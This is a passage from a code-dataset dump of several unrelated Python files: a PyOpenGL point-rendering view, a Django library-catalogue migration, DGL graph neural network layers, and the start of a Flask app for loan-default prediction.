print(gl.glGetProgramInfoLog(program))\n\n gl.glUseProgram(program)\n print(gl.glGetError())\n\n return program\n\n def _build_buffer(self, data):\n # Request a buffer slot from GPU\n buffer = gl.glGenBuffers(1)\n\n # Make this buffer the default one\n gl.glBindBuffer(gl.GL_ARRAY_BUFFER, buffer)\n\n # Upload data\n gl.glBufferData(gl.GL_ARRAY_BUFFER, data.nbytes, data, gl.GL_DYNAMIC_DRAW)\n\n return buffer\n\n def _bind_buffers(self, program, data, buffer):\n stride = data.strides[0]\n offset = ctypes.c_void_p(0)\n loc = gl.glGetAttribLocation(program, \"position\")\n\n gl.glEnableVertexAttribArray(loc)\n gl.glBindBuffer(gl.GL_ARRAY_BUFFER, buffer)\n\n gl.glVertexAttribPointer(loc, 3, gl.GL_FLOAT, False, stride, offset)\n\n offset = ctypes.c_void_p(data.dtype[\"position\"].itemsize)\n loc = gl.glGetAttribLocation(program, \"color\")\n\n gl.glEnableVertexAttribArray(loc)\n gl.glBindBuffer(gl.GL_ARRAY_BUFFER, buffer)\n gl.glVertexAttribPointer(loc, 4, gl.GL_FLOAT, False, stride, offset)\n\n # Bind Uniform:\n def _bind_scale(self, program, scale):\n loc = gl.glGetUniformLocation(program, \"scale\")\n gl.glUniform1f(loc, scale)\n\n def _bind_target_value(self, program, target_value):\n loc = gl.glGetUniformLocation(program, \"target_value\")\n gl.glUniform1f(loc, target_value)\n\n def _bind_delta(self, program, delta):\n loc = gl.glGetUniformLocation(program, \"delta\")\n gl.glUniform1f(loc, delta)\n\n def _bind_projection(self, program):\n loc = gl.glGetUniformLocation(program, \"in_projection_matrix\")\n projection = np.matrix([1, 1, 1, 1])\n projection = [1, 1, 1, 1]\n # GLint location, GLsizei count, GLboolean transpose, \tconst GLfloat *value\n gl.glUniformMatrix4fv(loc, len(projection), True, projection)\n\n def _bind_modelview(self, program):\n # loc = gl.glGetUniformLocation(program, \"in_modelview_matrix\")\n # projection = np.matrix([1, 1, 1, 1])\n # gl.glUniformMatrix4fv(loc, projection)\n return\n", "sub_path": "View/view.py", "file_name": "view.py", "file_ext": "py", "file_size_in_byte": 5983, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.zeros", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.lib.arraypad.np.float32", "line_number": 20, "usage_type": "attribute"}, {"api_name": "numpy.lib.arraypad.np", "line_number": 20, "usage_type": "name"}, {"api_name": "numpy.lib.arraypad.np.float32", "line_number": 21, "usage_type": "attribute"}, {"api_name": "numpy.lib.arraypad.np", "line_number": 21, "usage_type": "name"}, {"api_name": "utility.os_interface.read_file_data", "line_number": 27, "usage_type": "call"}, {"api_name": "utility.os_interface.read_file_data", "line_number": 28, "usage_type": "call"}, {"api_name": "OpenGL.GLUT.glutMainLoop", "line_number": 41, "usage_type": "call"}, {"api_name": "OpenGL.GLUT", "line_number": 41, "usage_type": "name"}, {"api_name": "OpenGL.GL.glClear", "line_number": 44, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 44, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_COLOR_BUFFER_BIT", "line_number": 44, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glEnable", "line_number": 47, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 47, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_PROGRAM_POINT_SIZE", "line_number": 47, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glClearColor", "line_number": 48, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 48, "usage_type": "name"}, {"api_name": "OpenGL.GL.glDrawArrays", "line_number": 53, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 53, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_POINTS", "line_number": 53, "usage_type": "attribute"}, {"api_name": "OpenGL.GLUT.glutSwapBuffers", "line_number": 54, "usage_type": "call"}, {"api_name": "OpenGL.GLUT", "line_number": 54, "usage_type": "name"}, {"api_name": "OpenGL.GL.glViewport", "line_number": 57, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 57, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 61, "usage_type": "call"}, {"api_name": "OpenGL.GLUT.glutInit", "line_number": 68, "usage_type": "call"}, {"api_name": "OpenGL.GLUT", "line_number": 68, "usage_type": "name"}, {"api_name": "OpenGL.GLUT.glutInitDisplayMode", "line_number": 69, "usage_type": "call"}, {"api_name": "OpenGL.GLUT", "line_number": 69, "usage_type": "name"}, {"api_name": "OpenGL.GLUT.GLUT_DOUBLE", "line_number": 69, "usage_type": "attribute"}, {"api_name": "OpenGL.GLUT.GLUT_RGBA", "line_number": 69, "usage_type": "attribute"}, {"api_name": "OpenGL.GLUT.glutCreateWindow", "line_number": 70, "usage_type": "call"}, {"api_name": "OpenGL.GLUT", "line_number": 70, "usage_type": "name"}, {"api_name": "OpenGL.GLUT.glutReshapeWindow", "line_number": 71, "usage_type": "call"}, {"api_name": "OpenGL.GLUT", "line_number": 71, "usage_type": "name"}, {"api_name": "OpenGL.GLUT.glutReshapeFunc", "line_number": 72, "usage_type": "call"}, {"api_name": "OpenGL.GLUT", "line_number": 72, "usage_type": "name"}, {"api_name": "OpenGL.GLUT.glutDisplayFunc", "line_number": 73, "usage_type": "call"}, {"api_name": "OpenGL.GLUT", "line_number": 73, "usage_type": "name"}, {"api_name": "OpenGL.GLUT.glutKeyboardFunc", "line_number": 74, "usage_type": "call"}, {"api_name": "OpenGL.GLUT", "line_number": 74, "usage_type": "name"}, {"api_name": "OpenGL.GL.glCreateProgram", "line_number": 77, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 77, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetError", "line_number": 78, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 78, "usage_type": "name"}, {"api_name": "OpenGL.GL.glCreateShader", "line_number": 79, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 79, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_VERTEX_SHADER", "line_number": 79, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glGetError", "line_number": 80, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 80, "usage_type": "name"}, {"api_name": "OpenGL.GL.glCreateShader", "line_number": 81, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 81, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_FRAGMENT_SHADER", "line_number": 81, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glGetError", "line_number": 82, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 82, "usage_type": "name"}, {"api_name": "OpenGL.GL.glShaderSource", "line_number": 84, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 84, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetError", "line_number": 85, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 85, "usage_type": "name"}, {"api_name": "OpenGL.GL.glShaderSource", "line_number": 86, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 86, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetError", "line_number": 87, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 87, "usage_type": "name"}, {"api_name": "OpenGL.GL.glCompileShader", "line_number": 89, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 89, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetError", "line_number": 90, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 90, "usage_type": "name"}, {"api_name": "OpenGL.GL.glCompileShader", "line_number": 91, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 91, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetError", "line_number": 92, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 92, "usage_type": "name"}, {"api_name": "OpenGL.GL.glAttachShader", "line_number": 96, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 96, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetError", "line_number": 97, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 97, "usage_type": "name"}, {"api_name": "OpenGL.GL.glAttachShader", "line_number": 98, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 98, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetError", "line_number": 99, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 99, "usage_type": "name"}, {"api_name": "OpenGL.GL.glLinkProgram", "line_number": 100, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 100, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetError", "line_number": 101, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 101, "usage_type": "name"}, {"api_name": "OpenGL.GL.glDetachShader", "line_number": 105, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 105, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetError", "line_number": 106, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 106, "usage_type": "name"}, {"api_name": "OpenGL.GL.glDetachShader", "line_number": 107, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 107, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetError", "line_number": 108, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 108, "usage_type": "name"}, {"api_name": "OpenGL.GLUT.glutReportErrors", "line_number": 111, "usage_type": "call"}, {"api_name": "OpenGL.GLUT", "line_number": 111, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetShaderiv", "line_number": 112, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 112, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_COMPILE_STATUS", "line_number": 112, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glGetShaderInfoLog", "line_number": 113, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 113, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetShaderiv", "line_number": 115, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 115, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_COMPILE_STATUS", "line_number": 115, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glGetShaderInfoLog", "line_number": 116, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 116, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetProgramiv", "line_number": 118, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 118, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_LINK_STATUS", "line_number": 118, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glGetProgramInfoLog", "line_number": 119, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 119, "usage_type": "name"}, {"api_name": "OpenGL.GL.glUseProgram", "line_number": 121, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 121, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetError", "line_number": 122, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 122, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGenBuffers", "line_number": 128, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 128, "usage_type": "name"}, {"api_name": "OpenGL.GL.glBindBuffer", "line_number": 131, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 131, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_ARRAY_BUFFER", "line_number": 131, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glBufferData", "line_number": 134, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 134, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_ARRAY_BUFFER", "line_number": 134, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.GL_DYNAMIC_DRAW", "line_number": 134, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 140, "usage_type": "call"}, {"api_name": "OpenGL.GL.glGetAttribLocation", "line_number": 141, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 141, "usage_type": "name"}, {"api_name": "OpenGL.GL.glEnableVertexAttribArray", "line_number": 143, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 143, "usage_type": "name"}, {"api_name": "OpenGL.GL.glBindBuffer", "line_number": 144, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 144, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_ARRAY_BUFFER", "line_number": 144, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glVertexAttribPointer", "line_number": 146, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 146, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_FLOAT", "line_number": 146, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 148, "usage_type": "call"}, {"api_name": "OpenGL.GL.glGetAttribLocation", "line_number": 149, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 149, "usage_type": "name"}, {"api_name": "OpenGL.GL.glEnableVertexAttribArray", "line_number": 151, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 151, "usage_type": "name"}, {"api_name": "OpenGL.GL.glBindBuffer", "line_number": 152, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 152, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_ARRAY_BUFFER", "line_number": 152, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glVertexAttribPointer", "line_number": 153, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 153, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_FLOAT", "line_number": 153, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glGetUniformLocation", "line_number": 157, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 157, "usage_type": "name"}, {"api_name": "OpenGL.GL.glUniform1f", "line_number": 158, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 158, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetUniformLocation", "line_number": 161, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 161, "usage_type": "name"}, {"api_name": "OpenGL.GL.glUniform1f", "line_number": 162, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 162, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetUniformLocation", "line_number": 165, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 165, "usage_type": "name"}, {"api_name": "OpenGL.GL.glUniform1f", "line_number": 166, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 166, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetUniformLocation", "line_number": 169, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 169, "usage_type": "name"}, {"api_name": "numpy.lib.arraypad.np.matrix", "line_number": 170, "usage_type": "call"}, {"api_name": "numpy.lib.arraypad.np", "line_number": 170, "usage_type": "name"}, {"api_name": "OpenGL.GL.glUniformMatrix4fv", "line_number": 173, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 173, "usage_type": "name"}]} {"seq_id": "193174696", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('searchapp', '0003_auto_20151129_1758'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='OReferences',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('title', models.CharField(max_length=120, verbose_name=b'Other References')),\n ],\n ),\n migrations.AddField(\n model_name='paper',\n name='references',\n field=models.ManyToManyField(related_name='_paper_references_+', to='searchapp.Paper', blank=True),\n ),\n migrations.AddField(\n model_name='oreferences',\n name='paper',\n field=models.ForeignKey(to='searchapp.Paper'),\n ),\n ]\n", "sub_path": "LibraryCatalogue/searchapp/migrations/0004_auto_20151207_0430.py", "file_name": "0004_auto_20151207_0430.py", "file_ext": "py", "file_size_in_byte": 950, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 24, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 26, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 26, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 29, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 29, "usage_type": "name"}]} {"seq_id": "455030089", "text": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport dgl.nn.pytorch as dglnn\nimport dgl.function as fn\n\n\nclass WeightedSAGEConv(nn.Module):\n def __init__(self, in_feat, out_feat):\n super(WeightedSAGEConv, self).__init__()\n self.linear = nn.Linear(in_feat * 2, out_feat)\n\n def forward(self, g, h, weights):\n with g.local_scope():\n g.ndata['h'] = h\n g.edata['w'] = weights.float()\n g.update_all(message_func=fn.u_mul_e('h', 'w', 'm'), reduce_func=fn.mean('m', 'h_N'))\n h_N = g.ndata['h_N']\n h_total = torch.cat([h, h_N], dim=1)\n return self.linear(h_total)\n\n\nclass RGCNLayer(nn.Module):\n \"\"\"\n R-GCN layer using basis decomposition\n \"\"\"\n def __init__(self, in_feat, out_feat, num_rels, num_bases=-1, bias=None,\n activation=None, is_input_layer=False):\n super(RGCNLayer, self).__init__()\n self.in_feat = in_feat\n self.out_feat = out_feat\n self.num_rels = num_rels\n self.num_bases = num_bases\n self.bias = bias\n self.activation = activation\n self.is_input_layer = is_input_layer\n\n # sanity check\n if self.num_bases <= 0 or self.num_bases > self.num_rels:\n self.num_bases = self.num_rels\n\n # weight bases in equation (3)\n self.weight = nn.Parameter(torch.Tensor(self.num_bases, self.in_feat,\n self.out_feat))\n if self.num_bases < self.num_rels:\n # linear combination coefficients in equation (3)\n self.w_comp = nn.Parameter(torch.Tensor(self.num_rels, self.num_bases))\n\n # add bias\n if self.bias:\n self.bias = nn.Parameter(torch.Tensor(out_feat))\n\n # init trainable parameters\n nn.init.xavier_uniform_(self.weight,\n gain=nn.init.calculate_gain('relu'))\n if self.num_bases < self.num_rels:\n nn.init.xavier_uniform_(self.w_comp,\n gain=nn.init.calculate_gain('relu'))\n if self.bias:\n nn.init.xavier_uniform_(self.bias,\n gain=nn.init.calculate_gain('relu'))\n\n def forward(self, g):\n if self.num_bases < self.num_rels:\n # generate all weights from bases (equation (3))\n weight = self.weight.view(self.in_feat, self.num_bases, self.out_feat)\n weight = torch.matmul(self.w_comp, weight).view(self.num_rels,\n self.in_feat, self.out_feat)\n else:\n weight = self.weight\n\n if self.is_input_layer:\n def message_func(edges):\n # for input layer, matrix multiply can be converted to be\n # an embedding lookup using source node id\n embed = weight.view(-1, self.out_feat)\n index = edges.data['rel_type'] * self.in_feat + edges.src['id']\n return {'msg': embed[index] * edges.data['norm']}\n else:\n def message_func(edges):\n w = weight[edges.data['rel_type']]\n msg = torch.bmm(edges.src['h'].unsqueeze(1), w).squeeze()\n msg = msg * edges.data['norm']\n return {'msg': msg}\n\n def apply_func(nodes):\n h = nodes.data['h']\n if self.bias:\n h = h + self.bias\n if self.activation:\n h = self.activation(h)\n return {'h': h}\n\n g.update_all(message_func, fn.sum(msg='msg', out='h'), apply_func)\n\n\nclass HeteroRGCNLayer(nn.Module):\n \"\"\"\n original R-GCN layer derived from Kipf's GCN, can be replaced with dgl.nn.pytorch.HeteroGraphConv, but slower by 40%\n \"\"\"\n def __init__(self, in_size, out_size, etypes):\n super(HeteroRGCNLayer, self).__init__()\n self.weight = nn.ModuleDict({\n name: nn.Linear(in_size, out_size) for name in etypes\n })\n\n def forward(self, graph, feat_dict):\n funcs = {}\n\n for srctype, etype, dsttype in graph.canonical_etypes:\n Wh = self.weight[etype](feat_dict[srctype])\n graph.nodes[srctype].data['Wh_%s' % etype] = Wh\n funcs[etype] = (fn.copy_u('Wh_%s' % etype, 'm'), fn.mean('m', 'h'))\n\n graph.multi_update_all(funcs, 'sum')\n\n return {ntype: graph.nodes[ntype].data['h'] for ntype in graph.ntypes}\n", "sub_path": "layers.py", "file_name": "layers.py", "file_ext": "py", "file_size_in_byte": 4454, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "torch.nn.Module", "line_number": 8, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 8, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "name"}, {"api_name": "dgl.function.u_mul_e", "line_number": 17, "usage_type": "call"}, {"api_name": "dgl.function", "line_number": 17, "usage_type": "name"}, {"api_name": "dgl.function.mean", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 23, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 43, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 47, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 51, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.nn.init.xavier_uniform_", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 54, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 54, "usage_type": "name"}, {"api_name": "torch.nn.init.calculate_gain", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 55, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 55, "usage_type": "name"}, {"api_name": "torch.nn.init.xavier_uniform_", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 57, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 57, "usage_type": "name"}, {"api_name": "torch.nn.init.calculate_gain", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 58, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 58, "usage_type": "name"}, {"api_name": "torch.nn.init.xavier_uniform_", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 60, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 60, "usage_type": "name"}, {"api_name": "torch.nn.init.calculate_gain", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 61, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 61, "usage_type": "name"}, {"api_name": "torch.matmul", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 82, "usage_type": "call"}, {"api_name": "dgl.function.sum", "line_number": 94, "usage_type": "call"}, {"api_name": "dgl.function", "line_number": 94, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 97, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 97, "usage_type": "name"}, {"api_name": "torch.nn.ModuleDict", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 103, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 104, "usage_type": "name"}, {"api_name": "dgl.function.copy_u", "line_number": 113, "usage_type": "call"}, {"api_name": "dgl.function", "line_number": 113, "usage_type": "name"}, {"api_name": "dgl.function.mean", "line_number": 113, "usage_type": "call"}]} {"seq_id": "112178789", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n#importing libraries:\nimport numpy as np\nfrom flask import Flask, request, jsonify, render_template\nimport pickle\n\n# In[2]:\n\n\napp=Flask(__name__)\n\n\n# In[3]:\n\n\nmodel=pickle.load(open('log_model.pkl','rb'))\n\n\n# In[4]:\n\n\n@app.route('/')\ndef home():\n return render_template('individual.html')\n\n#%%\nterm_to_int={0:\"36 Months\",1:\"64 Months\"} \n \napplication_type={0:\"Individual\"}\n\ngrade={0:\"A\",1:\"B\",2:\"C\",3:\"D\",4:\"E\",5:\"F\",6:\"G\"}\n\nsub_grade={0:\"A1\",1:\"A2\",2:\"A3\",3:\"A4\",4:\"A5\",\n 5:\"B1\",6:\"B2\",7:\"B3\",8:\"B4\",9:\"B5\",\n 10:\"C1\",11:\"C2\",12:\"C3\",13:\"C4\",14:\"C5\",\n 15:\"D1\",16:\"D2\",17:\"D3\",18:\"D4\",19:\"D5\",\n 20:\"E1\",21:\"E2\",22:\"E3\",23:\"E4\",24:\"E5\",\n 25:\"F1\",26:\"F2\",27:\"F3\",28:\"F4\",29:\"F5\",\n 30:\"G1\",31:\"G2\",32:\"G3\",33:\"G4\",34:\"G5\"}\n\nemp_length={0:\"1 Year\",1:\"10+ Years\",2:\"2 Years\",3:\"3 Years\",4:\"4 Years\",5:\"5 Year\",\n 6:\"6 Years\",7:\"7 Years\",8:\"8 Years\",9:\"9 Years\",10:\"< 1 Year\"}\n\nhome_ownership={0:\"Mortage\",1:\"Others\",2:\"Own\",3:\"Rent\"}\n\nverification_status={0:\"Income Source Verified\",1:\"Not Verified\",2:\"Verified\"}\n\npurpose={0:\"Car\",1:\"Credit Card\",2:\"Dept Consolidation\",3:\"Educational\",4:\"Home Improvement\",\n 5:\"House\",6:\"Major Purpose\",7:\"Medical\",8:\"Moving\",9:\"Others\",10:\"Renewable Energy\",\n 11:\"Small Business\",12:\"Vacation\",13:\"Wedding\"}\n\naddr_state={0:\"Alaska\",1:\"Alabama\",2:\"Arkansas\",3:\"Arizona\",4:\"California\",5:\"Colorado\",\n 6:\"Connecticut\",7:\"District of Columbia\",8:\"Delaware\",9:\"Florida\",10:\"Georgia\",\n 11:\"Hawaii\",12:\"Iowa\",13:\"Idaho\",14:\"Illinois\",15:\"Indiana\",16:\"Kansas\",\n 17:\"Kentucky\",18:\"Louisiana\",19:\"Massachusetts\",20:\"Maryland\",21:\"Maine\",\n 22:\"Michigan\",23:\"Minnesota\",24:\"Missouri\",25:\"Mississippi\",26:\"Montana\",\n 27:\"North Carolina\",28:\"North Dakota\",29:\"Nebraska\",30:\"New Hampshire\",\n 31:\"New Jersey\",32:\"New Mexico\",33:\"Nevada\",34:\"New York\",35:\"Ohio\",36:\"Oklahoma\",\n 37:\"Oregon\",38:\"Pennsylvania\",39:\"Rhode Island\",40:\"South Carolina\",41:\"South Dakota\",\n 42:\"Tennessee\",43:\"Texas\",44:\"Utah\",45:\"Virginia\",46:\"Vermont\",47:\"Washington\",\n 48:\"Wisconsin\",49:\"West Virginia\",50:\"Wyoming\"}\n\ninitial_list_status={0:\"Fractional\",1:\"Whole\"}\n# In[5]:\n\n\n@app.route(\"/Individual\", methods=['POST'])\ndef Individual():\n int_features=[int(x) for x in request.form.values()]\n final_features=[np.array(int_features)]\n prediction=model.predict(final_features)\n \n \n data2=request.form[\"loan_amnt\"]\n data3=request.form[\"term\"]\n data4=request.form[\"int_rate\"]\n data5=request.form[\"installment\"]\n data6=request.form[\"grade\"]\n data7=request.form[\"sub_grade\"]\n data8=request.form[\"emp_length\"]\n data9=request.form[\"home_ownership\"]\n data10=request.form[\"annual_inc\"]\n data11=request.form[\"verification_status\"]\n data12=request.form[\"purpose\"]\n data13=request.form[\"addr_state\"]\n data14=request.form[\"dti\"]\n data15=request.form[\"delinq_2yrs\"]\n data16=request.form[\"inq_last_6mths\"]\n data17=request.form[\"open_acc\"]\n data18=request.form[\"pub_rec\"]\n data19=request.form[\"revol_bal\"]\n data20=request.form[\"revol_util\"]\n data21=request.form[\"total_acc\"]\n data22=request.form[\"initial_list_status\"]\n data23=request.form[\"out_prncp\"]\n data24=request.form[\"out_prncp_inv\"]\n data25=request.form[\"total_pymnt\"]\n data26=request.form[\"total_rec_prncp\"]\n data27=request.form[\"total_rec_int\"]\n data28=request.form[\"total_rec_late_fee\"]\n data29=request.form[\"last_pymnt_amnt\"]\n data30=request.form[\"collections_12_mths_ex_med\"]\n data31=request.form[\"application_type\"]\n data32=request.form[\"acc_now_delinq\"]\n data33=request.form[\"tot_coll_amt\"]\n data34=request.form[\"tot_cur_bal\"]\n \n \n #create original output dict\n output_dict= dict()\n output_dict['Desired Loan Amount']=data2\n output_dict['Term (in Months)']=term_to_int[int(data3)]\n output_dict['Interest Rate on the loan']=data4\n output_dict['Installment']=data5\n output_dict['Grade']=grade[int(data6)]\n output_dict['Sub Grade']=sub_grade[int(data7)]\n output_dict['Employee Length']=emp_length[int(data8)]\n output_dict['Home Ownership']=home_ownership[int(data9)]\n output_dict['Annual Income']=data10\n output_dict['Verification Status']=verification_status[int(data11)]\n 